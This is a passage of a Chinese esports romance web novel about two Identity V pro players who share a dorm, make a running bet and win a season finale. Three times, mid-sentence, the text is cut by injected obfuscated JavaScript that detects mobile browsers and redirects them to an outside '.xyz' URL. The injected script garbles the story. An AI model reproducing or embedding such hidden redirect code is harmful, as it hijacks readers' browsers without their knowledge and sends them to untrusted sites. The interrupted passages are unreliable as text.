知秋见不得这两个人闲着,道:“清嘉来和辛西娅单练,我看着。” 祝清嘉猝不及防被教练点到名,只好不情不愿地登入游戏。 拉组队的时候,宋时谨说:“我没你游戏好友,可以加一下吗?” 祝清嘉无语:“加个好友还要请示一下我么?” 下一秒,祝清嘉的申请列表中多了一个id叫“草莓小蛋糕ovo”的账号。 祝清嘉点了同意。 宋时谨现在用的这个游戏账号并不是他自己最初注册的那一个,不知道出于一种什么样的心理,号买回来两年多他一直没改过id,至今还顶着前任号主的软妹id卖萌。 祝清嘉无力吐槽,只觉得自己的好友列表脏了,忍了两秒,然后把账号的备注改成了Cynthia。 两个人组队进了自定义房间,又把知秋拉到了观战席。 最开始的几局,知秋还坐在旁边全程盯着,练完一局复盘一局,说了一些祝清嘉自己牵制时没注意到的细节。 到后来其他队员的复盘基本写完了,知秋挨个和他们复盘下午的训练赛内容,没再管单练的两人。 从知秋走后,祝清嘉和宋时谨就是一个完全零沟通的状态,一句话都没说,打完一局换角色换地图打下一局,如此反复。 直到夜里十二点下训的时候,两个人的单练记录已经达到了三十多局。 这种沉默直到两人回宿舍后才被打破。 祝清嘉开口说了第一句话:“我先去洗漱,我困了。” 宋时谨“嗯”了一声。 祝清嘉带着换洗衣物进了浴室,几秒后,浴室的门又被推开了:“我忘记买沐浴露和洗发水了。” 宋时谨:“你用我的吧。” 没一会,浴室里传来哗哗水声。 宋时谨坐在自己的桌子前看手机,不知过了多久,浴室里的水声停了。 祝清嘉从浴室出来时,浴巾很随意地盖在头顶,不断有水珠顺着发丝滚落,洇湿了睡衣的前襟后背。 他面无表情道:“牙刷牙膏。” 宋时谨在抽屉里翻找了一下:“牙刷有新的,牙膏你用浴室里的那支吧。” 祝清嘉接过了牙刷,干巴巴地说了句“谢谢”,又把浴室的门关上了。 等他再次出来时,头发已经擦得半干,不再往身上地上滴水了。 宋时谨也起身准备去洗漱,他从抽屉里拿出吹风机,说:“你用吧。” 祝清嘉原本的计划是洗完澡倒头就睡,只要他争分夺秒比宋时谨先睡着,那么尴尬的就是宋时谨。 可是进了浴室才想起来,自己没带任何洗漱用品,他本来打算到了俱乐部抽空去买,但是没想到PUZ的训练时间安排得这么紧,人一忙起来就全忘了。 祝清嘉洗了个澡,用的沐浴露洗发水甚至洗衣液都是借宋时谨的。 祝清嘉一阵窒息,只觉得尴尬得要死。 反正都借这么多东西了,也不差这一个吹风机,祝清嘉破罐子破摔,把头发吹干后爬到了上铺。 宿舍里的灯已经关了,只留宋时谨桌上的一盏小夜灯散发着融融暖光。 中午刚到基地时,祝清嘉还觉得宋时谨的宿舍干净得像工位,没半点活人该有的气息。这会躺在床上,才发现这间屋子里到处都是宋时谨生活的痕迹。 今天训练这么累,祝清嘉以为自己肯定沾枕即睡,但他在床上躺了会,却发现睡意全无。 半晌,浴室里的水声停了。 门被打开又关上。 祝清嘉把被子闷过头顶,刚洗完吹干的头发柔软蓬松,发丝间都是他刚才用的洗发水的清香,存在感如此强烈。 床下传来窸窸窣窣的摩擦声,听得出来动作很轻很小心,生怕吵到正在睡觉的人。 祝清嘉悄悄从被子里探出半个脑袋,看到宋时谨正在用毛巾擦头发,他凝眸看了一会,忽然开口道:“没睡着,你把头发吹干吧。” 于是宿舍里只剩下吹风机运作的嗡嗡声。 没有任何多余的交流,宋时谨吹干头发,把桌上的小夜灯关掉,也上床睡觉了。 宿舍里安静得掉针可闻,祝清嘉不敢动,因为一动就难免会发出声响,他现在只想当一具体面安详的尸体。 不知过了多久,祝清嘉听见下铺的人轻声喊他的名字。 祝清嘉平躺在上铺,双手交叠在腹部,装作没听到,盯着天花板想心事。 宋时谨那边又没动静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14872763|159581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,又过了很久,祝清嘉终于等到了下文。 宋时谨问:“你怎么样才愿意原谅我?” 有那么一个瞬间,祝清嘉几乎想开口说些什么,他很想问,既然你现在感到愧疚,那当初为什么要那样做呢? 但是他什么都没说。 直到下铺的呼吸声逐渐变得匀长,祝清嘉终于翻了个身,额头抵着冰凉的墙面,他略微蜷起身子侧躺着,很小声地说:“可是我也不知道该怎么样才能原谅你。” 祝清嘉也不记得自己这一晚是什么时候睡着的了,又或许根本没有睡着,他半梦半醒间,听到宋时谨起床叠被子的声音。 他潜意识里觉得没睡够,翻过身想再睡会。 洗手间里传来隐约模糊的水流声,祝清嘉慢慢地意识到他现在身处何地,猛地清醒了。 他睁开眼的瞬间,恰好宋时谨从洗手间里出来,额前的发丝有些潮湿。 祝清嘉慌乱地闭上眼装睡,半晌没忍住,把眼睛睁开了一条缝。 然后他看到宋时谨正背对着自己换衣服。 睡衣掀起,上半身裸露着,肩背处和后颈的肌肉线条随着动作起伏,很流畅也很漂亮。 从祝清嘉这个角度,刚好能看见人鱼线自腰腹部往下延伸,最终若隐若现地没入了裤腰的边沿。 这个身材谈不上多强壮多完美,但明显是花了时间和功夫的,是长期以往的坚持自律呈现出来的成果。 宋时谨套上了一件白色的卫衣,很青春男大的感觉。 然后他捏在裤腰上的手微微一顿,说:“吵醒你了吗?” 祝清嘉第一时间没反应过来他在和自己说话,茫然地眨了下眼,下一秒,他终于注意到床铺正对面的桌子上支着一只小镜子。 虽然宋时谨背对着他,但是从他身处的位置来判断,应该是刚好能通过镜子看见自己的。 祝清嘉:“……” 反正偷看也是被发现了,祝清嘉干脆从床上坐起身,慢腾腾道:“没,刚好醒了。” 两个人又无话可说。 宋时谨一时间也没有动作,祝清嘉的目光不闪不避,就这么直勾勾地盯着他的背影。 半晌,宋时谨捏在裤腰的手收了回去,拎起了他正打算换的那条运动裤。 祝清嘉心想,他就知道。 只要宋时谨发现自己在看,就一定会到洗手间里换衣服的。 因为从小到大他都是这样—— 祝清嘉还没来得及把脑子里的句子想完,只见宋时谨似乎忽然改变了主意,又放下了手中的运动裤,在祝清嘉的注视中弯腰,褪下了一截裤腰。 祝清嘉如遭雷殛,呆滞了两秒,像是被使徒安踩影禁锢在了原地。 随后他“砰”地一声重新摔回床上,动静很大地拉过被子,把自己整个人都闷在了被子里,满脑子都是非礼勿视非礼勿观。 即便如此,更换衣物的窸窣声依然像是响在祝清嘉的耳边,清晰无比。 直到宿舍门打开又关上,脚步声逐渐消失在走廊,祝清嘉才把被子拉了下来。 祝清嘉又又又心乱如麻了。 他想起了读高中的时候。 他不想住学校宿舍,图方便省事就在学校附近租了房,和宋时谨合租的,除了寒暑假外基本不回家。 即便他们住在一起这么久、即便是这么多年的发小,整整三年,宋时谨都没在祝清嘉面前这样坦然地换过裤子。 只要他换衣服时,发现祝清嘉在旁边,就一定会带着要换的衣服进洗手间换。 以前两个人关系好得如胶似漆的时候,宋时谨各种藏着掖着不给看,现在两个人闹掰了决裂了他反而无所谓了? 天杀的。 当年的宋时谨真的是个很矜持很要脸的小男孩啊,为什么打了几年职业现在脸都不要了? 而且他一个竞男身材管理做这么好干嘛??身材好是能夺冠还是怎么样??? 他到底在显摆什么!! 11. 赌约 祝清嘉重新盖好被子,预备睡个回笼觉。 结果两眼一闭,脑海里就自动浮现出宋时谨褪下的那截裤腰,和一小片裸露出来的棉质的浅灰色的内裤布料。 祝清嘉呼吸一窒,猛地坐起身,试图把这个场景从自己的脑子里删掉。 竞男的身材就像竞男的学历一样,你不用问,但凡他有,他的粉丝都会千方百计地让你知道。 隔壁YU有个选手,平时有健身的习惯,本人其实挺低调的,只偶尔在微博上分享一下健身成果。 祝清嘉完全没关注过他,在网上冲浪的时候都好几次猝不及防地被他粉丝贴脸晒腹肌照。 但是宋时谨不一样,他的微博始终有一种淡淡的人机感,每个月为了完成互动KPI,发得最多的是路边的野猫野狗,分享一下今天晚饭吃了什么都算相当隐私的话题了。 就连宋时谨休息日会去健身房这件事,都是他队友在某次采访中不经意提到的。 宋时谨本人从未主动说过,也没对外展示过健身的成果。 这小子平时不显山露水,就是为了在这种时候狠狠装一下吗?? 祝清嘉记得之前有一次,宋时谨直播间里的水友忽然把话题扯到了身材上,起哄要看主播的腹肌胸肌马甲线。 宋时谨当时是怎么说的?他义正辞严,自己是个技术主播,直播间里不搞擦边。 那时候祝清嘉还用小号在直播间里取笑他,说练得不好也可以发出来给大伙看看的嘛,他一定会笑得很大声的。 想到这里,祝清嘉“草”了一声,又倒回床上继续躺尸。 他觉得自己有点脸疼。 又搞不懂宋时谨在想什么。 有心思在他面前装逼,不如拍张照片发微博媚一下他那群女友粉。 就算宋时谨在这里脱光给他看,他也不可能给他氪一分钱的啊! 祝清嘉本来想再睡个回笼觉,结果躺回去后就开始忍不住想东想西,越想越闹心,彻底睡不着了。 于是他只好带着满肚子怨气起了床,洗漱完毕后一看时间,九点半。 天知道他上次看到早上九点半的太阳是什么时候了。 都怪宋时谨,非要大清早在他面前装一下,最气人的是还真给他装到了。 这个时间点,俱乐部里绝大多数的正常人都还在睡觉,静悄悄的。祝清嘉下楼时,看到基地阿姨正在打扫卫生。 阿姨看到他时明显很意外:“清嘉平时都这个点起床吗?” 祝清嘉摇了摇头:“平时都睡到中午的,昨晚有点认床没睡好,今天才醒得早了。” “那清嘉早饭想吃点什么?我去给你做。” “不吃了,阿姨你接着忙吧,我不饿。” 阿姨又问了两句,确认祝清嘉是真的不想吃饭后,继续忙手头的工作了。 祝清嘉准备去厨房的冰箱里拿瓶水,路过玄关时,看到宋时谨正在换鞋。 祝清嘉停下脚步:“这个点你出门干嘛?” 宋时谨言简意赅:“晨跑。” 祝清嘉定定地看了他两秒,说:“你等一下,我也要去。” 然后跑上楼,找了根发绳,把头发简单地束了起来,和宋时谨一起离开了俱乐部。 早上的风微凉,但吹在人身上很舒服。 祝清嘉脚步轻快地跟在宋时谨身后,问:“敢不敢和我打个赌?” 宋时谨有点莫名其妙,但还是很配合地问他怎么赌。 “无论你跑多远,我都比你多跑一公里。” “那赌注是什么?” 祝清嘉想了想,说:“就赌这周的赛前喊话?赢家可以指定输家喊话的内容。” 宋时谨看他一眼,表情有些古怪,但还是答应了下来。 祝清嘉也没多想,直到两个人真的开始跑,他才终于明白了宋时谨那个表情的含义。 因为他真的很能跑。 最开始祝清嘉跟在宋时谨身后,他的速度也不快,祝清嘉还心想不过如此。 跑出俱乐部两三公里后,宋时谨忽然提速了,祝清嘉只好跟着提速。 大概又跑了一公里多一点,祝清嘉彻底跑不动了,在街边原地蹲了下来,喘息的时候喉间都有一股血腥味。 祝清嘉狼狈地心想,也没人告诉他宋时谨这么能跑啊! 还记得以前高中校运会的时候,学校为了提高学生的综合素质,硬性规定全员参与,即每个人都至少要报名一个项目。 整整三年,宋时谨都在跳远跳高和五十米短跑里划水摸鱼。 而祝清嘉属于有事他真上的那种,三千米的项目班里没人报,他直接自信参加,还怂恿宋时谨和他一块报名。 当时宋时谨拒绝得非常干脆,说跑不动。 祝清嘉有点好奇,问他最多能跑多远。 宋时谨想都没想,说跑完一千米就晕过去了。 祝清嘉真的信了。 这也是他为什么敢和宋时谨打赌的原因,他真的没觉得自己会输。 神他妈一千米。 所以高中时宋时谨不是跑不动,根本就是懒得跑吧?? 宋时谨见他没跟上来,掉过头,跑到他身边站定,说话时的声音依旧四平八稳,喘都不带喘的:“不跑了?” 祝清嘉不想搭理他,自顾自地蹲在街边玩自闭。 为什么他每次想让宋时谨感到屈辱,可是最后丢脸破防的那个人永远是自己? 宋时谨不知道他在胡思乱想什么,垂着眼看他:“刚跑完步不要蹲着,站起来走两步。” 祝清嘉自暴自弃:“我没力气站着。” 宋时谨弯下腰,朝他伸出了一只手。 那只手骨节分明,肤色润白,手背上贴着黑色的肌效贴,两厢对比之下显得有些刺眼。 宋时谨有手伤不是什么秘密。 今年夏季赛的季后赛,因为赛程安排逆天且阴间,宋时谨决赛当天连着高强度地打了十一个小局,打到后面拿手机的手都止不住地发颤。 祝清嘉盯着他的手看了两秒,然后借力起了身。因为刚跑过步的缘故,他们的掌心都是温热的,紧贴的那个瞬间,祝清嘉可以清晰地感受到他的体温。 祝清嘉站起身后,就飞快地松开了手,两个人的手一触即分,动作快得堪称避嫌。 宋时谨没想到他松得这么快, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14872764|159581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣了一下,才收回了自己的手。 祝清嘉不情不愿地开了口:“我输了。你说吧,这周赛前喊话想让我喊什么?” 宋时谨说:“还没想好,想到了再跟你说。” 两个人慢慢往回走,可能是刚消耗了体力的原因,祝清嘉这会才觉得好饿。 宋时谨忽然说:“你之前不是说想来广东吃早茶么?这附近有家早茶店评价还蛮好的。” 祝清嘉下意识道:“我什么时候说过要来广东吃早茶?” 下一秒又反应过来,可能是很早之前随口说的,只是他已经忘了。 他从来都是想一出是一出的性子,今天想去夏威夷看海明天就想去西伯利亚看雪,但大部分时候都是说说而已,他自己都没上心的。 宋时谨也懒得回忆是哪年哪月的事,只是问他:“你想不想去?” 祝清嘉本来想拒绝的,因为宋时谨这话的言下之意就是他们一起去。在俱乐部里大家都坐一桌吃饭还好,两个人面对面坐着吃饭就太尴尬了。 可是拒绝的话没说出口,肚子就开始咕噜噜地提出抗议,最终还是一脸屈辱地接受了现实:“那你带路吧。” 早茶店人还挺多,甚至要等叫号,虽然没有等太久,但祝清嘉真的饿得前胸贴后背。 宋时谨把菜单递给他:“想吃什么?” 祝清嘉很没形象地趴在桌子上,恹恹道:“你看着买吧。” 很快一桌子菜就上齐了,虾饺包得个个晶莹圆润,蛋挞金黄酥脆奶香浓郁,凤爪蒸得又酥又软,每道茶点看上去都很精致很漂亮,也很符合祝清嘉的口味。 祝清嘉用手机拍了张照片,列表里划拉了一下,最后发送给了梧桐。 「梧桐:哇你们进展这么快?」 祝清嘉没看懂:「什么进展?」 「梧桐:首先这桌菜明显是两人份的,其次你不是那种会自己早起吃早饭的人。」 「梧桐:最后最重要的一点是,现在是北京时间十点半,整个PUZ的基地里,能在这个点起床并且和你一起吃早茶的人,只有可能是辛西娅。」 「梧桐:你总不是和基地阿姨一起吃的吧?」 祝清嘉发了个瑞思拜的表情包,然后关掉了聊天框,开始干饭。 广东的早茶确实好吃,吃饱喝足后祝清嘉的心情都好了不少,昨晚没睡好的烦躁感烟消云散了,连带着对宋时谨都有了点好脸色。 两个人一块往回走,到某个岔路口的时候,祝清嘉指了指旁边的超市:“我要去买点日用品,你先回俱乐部吧。” 宋时谨“嗯”了一声,但是站在原地,没走。 回基地的那条路口的红绿灯是绿灯。 祝清嘉不解地看着他,感觉宋时谨可能想说点什么。 最后两个人几乎同时开了口—— “要我陪你去买吗?” “要我把早餐钱a给你吗?” …… 然后双双陷入了沉默。 祝清嘉尴尬得想找条地缝钻进去。 半晌,宋时谨说:“不用了,那我先回去了。” 祝清嘉如蒙大赦,头也不回地去了超市。 12. 收官 之后的很长一段时间里,祝清嘉都没有主动去宋时谨那里找事。 每天正常的排位、训练,逐渐适应了俱乐部里的生活节奏。 两个人阵营不同,大部分时候都没什么需要交流的地方,下训后就回宿舍睡觉。 最开始的两天,祝清嘉会很刻意地忽视宋时谨的存在,可是越刻意就越忍不住在意。 每天晚上洗漱完躺在床上,一想到下铺的人是宋时谨就毫无睡意。 宋时谨的睡眠习惯倒是很好,他的作息非常规律,稳定一点多入睡九点多起床,对于宿舍里多了个人这件事,他似乎完全没有感到不习惯。 祝清嘉睡不着就在上铺玩手机,有时候听着宋时谨平稳的呼吸声,竟然也渐渐生出了几分困意,不知不觉中就睡着了。 如此几日,祝清嘉觉得自己对宋时谨已经完全脱敏了,偶尔还能比宋时谨先睡着。 常规赛倒数第二周,PUZ还剩三场比赛。 虽然队内磨合依旧存在不小的问题,不过好在没碰上什么强队,过程小有波澜但最终都赢了下来。 周五对阵TM,宋时谨以三局抓了十个的战绩轻取MVP。 周日对阵HHG,MVP给到了在bo3完成两次关键无伤救援,扭转局势的冷落。 这两场祝清嘉其实都有亮眼的操作,可惜最终MVP的评选都没给到自己。战队赢了比赛固然很好,但还是会在某个极微小的瞬间感到失望。 出乎所有人意料的,换了首发的PUZ迎来了常规赛三连胜,排名从第六一跃到了第四的位置上,稳住了季后赛的名额。 常规赛最后一周,PUZ的收官之战安排在最后一天的最后一场。 PUZ目前排名第四,和第五名的战队胜场数相同,净胜多一场。 PUZ胜者组的晋级条件是在最后一场比赛中获胜,或者落败但不失净胜,晋级条件还算轻松。 众人提前来到比赛场馆备战,到休息室时,ASK和YU的比赛还没结束。 他们今天的对手是AZ,战队实力处于联赛下游,胜场只有可怜的两场,PUZ的压力并不大,稳扎稳打就不会有意外发生。 赛前没什么额外的战术需要讨论,PUZ众人干脆用备战间的电视看了会现场直播。 ASK本赛季已经十七连胜,状态简直可以用锐不可当这四个字来形容。 人队无论是个人操作还是团队运营都天衣无缝,各种细节全部拉满,屠夫Link更是手感火热,场均淘汰达到了惊人的2.88。 这是什么概念?场均三抓。任何一支人队只要在他手中保平,就算优势了。 不出意料的,ASK最终二比零完美收官,以全胜之姿结束了常规赛。 备战间里,冷落感叹道:“即便是YU也不能终结掉ASK的连胜吗?” 知秋也不得不承认:“ASK人队细节做得太好了,确实是有东西的。” 想念:“常规赛十八连胜,领先第二名的YU整整五个胜场,真的像开了一样。” 钟情啧啧道:“谁来管管这个Link?这数据是人能打出来的么?兜兜转转ASK又是最有希望夺冠的一年。” 一旁的宋时谨心不在焉地玩手机,对这个话题无动于衷:“常规赛全胜怎么了?我常规赛全胜的那个赛季不也没夺冠。” 祝清嘉这才想起来,整个联赛历史上第一支常规赛全胜的战队其实是PUZ,当时所有人都说这是PUZ最有希望夺冠的一年。 那个赛季PUZ只输了一场,但输的那场是决赛。 最遗憾的一年。 钟情立马意识到自己刚才的话说得不合适,试图挽救这个话题:“——不过在我心目中,全联赛最强,哦不,全世界最强的监管者只有娅神一人!娅神最牛逼。” 宋时谨倒不是很在意这个,只是随意地笑了下,然后揭过了这个话题。 祝清嘉的目光却不自禁地在宋时谨身上多停留了一瞬,他想说点什么,但是纠结了半天也没能开这个口。 就在这时候,备战间的门被敲响了。 九万起身开了门,祝清嘉甚至没看清来者是谁,就听九万笃定道:“小娅,找你的。” 直到九万从备战间门口让开,祝清嘉才看清了门外的人的脸,还有他队服上的id。 ASK_Link。 无论在什么时期,只要曾经关注过IVL,就不会对这个id感到陌生。 在职业联赛中,监管选手的职业寿命普遍比求生选手要短。 联赛最初的那一批远古屠皇,如今还活跃在赛场上的,也就只剩下Link和宋时谨而已。 这个id和Cynthia一样,都承载着联赛的很多回忆和高光时刻。 祝清嘉觉得很疑惑,一是不解Link这种时候跑到PUZ的备战间里干什么,二是困惑九万为什么啥都没问就确定Link是来找宋时谨的。 备战间里全是人,队员教练经理领队还有摄像师,但Link的目光从进备战间起就一直钉在宋时谨身上。 “小娅哥哥。” 宋时谨淡淡地“嗯”了一声,示意自己在听。 “哥看到了吗?十八连胜,我专门过来想和哥炫耀一下。”Link歪着头看宋时谨。 宋时谨语气波澜不惊:“看到了,恭喜你。还有其他事吗?” Link全然不在意宋时谨冷淡的态度,甚至笑意更深了:“我一想到季后赛第一场就能碰到哥,就感到很幸福,我已经迫不及待了。” 祝清嘉震惊了。 这算什么?表白吗?? 但宋时谨依旧是那副古井无波的表情:“也不一定第一场会碰到。” Link睁大了眼睛表示难以置信,动作有点浮夸,但语气却很认真:“怎么可能?如果哥输给AZ,我会认为哥宁愿去败者组,也不想在季后赛第一轮碰到我。” 这话的言下之意是你不敢和我打,说出来其实有几分挑衅的意味,但宋时谨没有理会,只是敷衍:“打完再说吧。我也期待着季后赛碰到你。” “那我不打扰哥备战了,哥比赛加油。” Link还是笑,丝毫没有热脸贴冷屁股的尴尬感,离开前还和备战间里的众人打了招呼说拜拜。 大家似乎对此习以为常。 祝清嘉简直不能理解,这人就是一个神经病吧? 专门跑到人家备战间里炫耀自己的成绩,语气还嚣张得要命,他谁啊?谁问他了?? 冷落注意到了祝清嘉无语的表情,好心给他解释了一下:“其实Link挺乖巧一小孩。” 祝清嘉嘴角抽了抽,心想这人满嘴跑火车的,和乖巧这两个字哪里沾边了?? “也就每次碰到小娅的时候有点疯疯癫癫的,”冷落说,“习惯了就好,大部分时候性格都挺温和的。” 祝清嘉:“……” 行吧。 如果说Link性格温和,那他祝清嘉还情绪稳定呢,除去所有破防的时候,他的情绪简直稳定得可怕。 最后是宋时谨出声,结束了这个话题:“都收拾一下吧,轮到我们上场了。” 今天的比赛是AZ主场,bo1宋时谨先上,选出歌剧演员拿下四抓。下半场,AZ屠夫首追祝清嘉的作曲家,一溜三台半,没什么悬念地拿下了三跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14872765|159581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 比分八比一。 bo2人队先上,想念的空军开局失误,吃刀交枪,四十多秒的时候倒地,中期祝清嘉的勘探员带着三块磁铁霸凌监管者。 各种灵性控磁保人,硬生生把人保到了开门战,最终有惊无险地完成了三跑。 下半场宋时谨保平,二比零干净利落地赢下了这场收官之战。 赛后备战间里,MVP评选环节,祝清嘉看到屏幕上显示出了自己的id时,说不兴奋都是假的。 之后就是常规的赛后采访环节,官方的人选非常明确,邀请了今天的MVP祝清嘉和宋时谨。 主持人姐姐妆容精致,声音甜美:“恭喜PUZ获得了今天比赛的胜利,今天我们请到了清嘉和辛西娅来到了赛后采访。” 因为刚拿了MVP,祝清嘉笑得特别开心:“大家好,我是PUZ的清嘉。” 宋时谨:“我是Cynthia。” 主持人先是常规地问了几个问题:“我们清嘉也是拿到了自己职业生涯的首个最佳演绎,可以和大家分享一下此时此刻的心情吗?” 祝清嘉眼神清亮,神采奕奕:“很高兴也很兴奋,还想一直赢下去。” 台下立刻传来粉丝的欢呼声,因为在笑的缘故,祝清嘉的眼尾弯着,舞台的灯光落在他暖棕色的瞳仁里,像是微融的巧克力。 主持人被他的真挚所感染,又笑着问宋时谨:“那辛西娅对即将到来的季后赛有什么目标或者期待吗?可以简单和大家聊一下吗?” 宋时谨有一瞬间的愣怔,随后从祝清嘉身上收回了目光,把自己极简的采访风格贯彻到底,言简意赅道:“夺冠。” 采访结束后,两人并肩回到了后台,快到备战间时,Link从暗处走了出来,挡在了两人的身前:“小娅哥哥!” 祝清嘉一听到Link的声音就心烦,刚拿了MVP的好心情都淡了不少。 宋时谨循声看了他一眼,没说话。 这次Link不是只看着宋时谨了,他的目光落在了祝清嘉身上。 那是一种带着审视意味的打量,祝清嘉被他看得很不舒服,皱眉:“看我干什么?” “没怎么,”Link舒颜一笑,“想认识清嘉哥哥很久了,这会终于有机会说上话了,我觉得很高兴。” 祝清嘉用不是很高兴的语气说:“哦,我也很高兴。” Link:“我有话想单独和小娅哥哥说,你方便回避一下吗?” 祝清嘉差点被这人气笑了,你们想聊,他还不想听呢,谁想知道你们聊什么啊。 他丢下一句“你们聊”后,头也不回地走进了备战间。 后台漆黑的甬道内,宋时谨问:“现在可以说了吗?你到底想干什么?” Link不答反问:“bo2下半场的时候,哥开门战传小门就可以四抓。为什么不传?” 宋时谨神情淡淡的:“保平就赢了,求稳一些总是好的。” Link若有所思地点点头,正想说些什么,却被宋时谨打断了:“你比赛结束后,不跟着战队回基地,留在比赛场馆里干什么?” 闻言Link笑得很灿烂:“当然是为了能第一时间来表达对哥的祝贺呀,恭喜PUZ进入胜者组。” “谢谢你的祝贺,没其他事的话我就先走了。” Link乖乖地让开了,说:“好的哥,很期待我们的季后赛。” 宋时谨快步回到了备战间,只留Link一人站在原地,直到备战间的门被打开又合上,他才慢慢说完了刚刚的未尽之言。 “还有就是,我会给哥证明,这个祝清嘉并不值得哥为他这样做。” 13. 意外 常规赛的排名确定后,官方很快发出了季后赛的赛程安排。 季后赛的开幕战是两支败者组的战队,紧接着就是备受瞩目的,ASK和PUZ的对局。 论坛上对此的话题讨论度非常高。 【来了来了又来了,万众期待的宿命对决!ASK VS PUZ!!!】 【无脑押ASK,金苹果稳了。】 【我直接反押PUZ,赌把大的别墅靠海。辛西娅总不可能一直输给林柯吧?】 【烫知识,Cynthia上一次赢Link已经是23年秋季赛的事了。】 【相爱相杀kdl。你是我命中注定的对手。】 【输两三次可能是运气不好,但一直赢不了一定是技不如人吧?】 【别问,问就是人队差距,抛去数据不谈,抛去赛场表现不谈,抛去四年无冠的事实不谈,我们辛西娅就是联赛最强屠夫^^】 【2024年12月29日下午三点,欢迎大家准时到直播间收看大型纪录片之《ASK七擒PUZ》。】 到处都能听见唱衰PUZ的声音。 就连PUZ的粉丝也没报什么希望,只是说输了不亏赢了血赚,哥几个尽力了就好。 越是没人看好,祝清嘉就越是憋着一股劲,或许是因为被舆论激起的胜负欲,又或许只是因为看不惯Link的气焰嚣张。 总之常规赛结束后,祝清嘉异常努力,经常在训练室里加练到深夜。 宋时谨也会在晚上的训练结束后主动留下,找他单练。 祝清嘉虽然同意了宋时谨的单练邀请,但两个人之间的气氛总有一种莫名的紧绷感。 队友下训后都各自回到宿舍休息了,周遭都很安静,祝清嘉没戴耳机,试图通过外放游戏声音的方式,缓解这种相对无言的尴尬。 他甚至欲盖弥彰地调高了游戏音量。 然后打了两把,逐渐发现情况不对。 夜深人静的时候,只有他和宋时谨两个人,不断有暧昧的喘息声回响在训练室里。 这个游戏是真不适合外放,祝清嘉狼狈地拿起耳机。 训练室瞬间安静下来。 祝清嘉兵荒马乱了半天,然后发现宋时谨始终很淡定,眼睫微敛着,专注地打着游戏,甚至没分给他一个多余的眼神。 祝清嘉又理直气壮了起来,宋时谨都不觉得尴尬,他有什么好尴尬的? 和不熟的同事一块自愿加班而已。 宋时谨偶尔会纠正一些祝清嘉的走位习惯,除此之外两个人没有任何多余的交流。 不得不承认,和宋时谨单练真的很爽,因为他的个人实力足够强,所以每一个博弈成功的瞬间都让他心跳加速,这种博弈和竞技的快感简直让人着迷。 果然打第五人格会上瘾。 两个人练了一局又一局,直到宋时谨说:“手机没电了,回去睡觉吧。中午还要起来打排位。” 祝清嘉后知后觉地看了眼时间,这才发现已经凌晨四点了,他和宋时谨居然单练了这么久。 之后几天,祝清嘉都会在晚上的训练结束后,找宋时谨单练。 看到新人都这么努力,钟情也不好意思偷懒了,主动提出要一起留下来加练。 没过两天,冷落和想念也加入了内卷的行列,PUZ的训练室里充满了快活的气氛,主打一个练不死就往死里练。 最后竟然是教练看不下去,勒令全员训练最迟到凌晨两点,两点后必须回宿舍休息。 队内这种状态持续了大半个月,人队的磨合程度有了明显的提升,和常规赛时的各凭本事相比,已然是判若两队。 季后赛前一天,战队晚上没有安排训练,但大家还是打了两把队内训练赛,保持手感。 训练结束后,祝清嘉看了眼时间,刚过九点半,于是他披上外套,准备去一趟超市。 冷落正在看ASK的常规赛录像,顺口问了句:“清嘉这个时候出门啊?去哪?” 祝清嘉一边往外走,一边说:“超市,买点东西。” “俱乐部附近的那个超市十点打烊,你很急用吗?不急的话你告诉阿姨,她明天会给你带回来的,别不好意思说。” 祝清嘉“唔”了一声,还没来得及婉拒,就听见一旁的宋时谨说:“八成去买烟。” 祝清嘉心事被戳破,很无辜地看着冷落:“我不是我没有。我买点小零食囤在宿舍。” PUZ基地内禁烟,被抓到要罚款写检讨。不过根据祝清嘉这一个多月以来的观察,只要没有被知秋当场逮住问题就不大。 冷落哈哈大笑:“没事别紧张,我又不会举报你,但我友情提醒一下,你得防着点钟情。举报一次两百块呢,有钱他是真赚。” 祝清嘉觉得这事还挺符合钟情的风格的,也笑道:“有钱不赚王八蛋嘛。” 话音落下,祝清嘉感觉宋时谨好像看了自己一眼,表情有点微妙。 祝清嘉一时间没反应过来,莫名其妙地回看了过去,兀自琢磨起了他那个表情的含义。 直到想起那句有钱不赚王八蛋,祝清嘉顿悟了。 他训练结束后有时候会去阳台上吹风,吹着吹着就无意识地点上烟了。 自己在俱乐部里抽烟这件事,宋时谨肯定是知道的,但是从来没举报过他。 说者无意,听者有心了。 祝清嘉在玄关处换鞋,弯腰时没忍住,偷偷笑了一下。 他发誓刚才那话绝对没有一语双关骂宋时谨是王八蛋的意思,但某人自己对号入座了。 这边祝清嘉暗爽了一会,正准备出门,却见宋时谨追了上来,塞给他一把伞:“今晚有雨,带上伞去。” 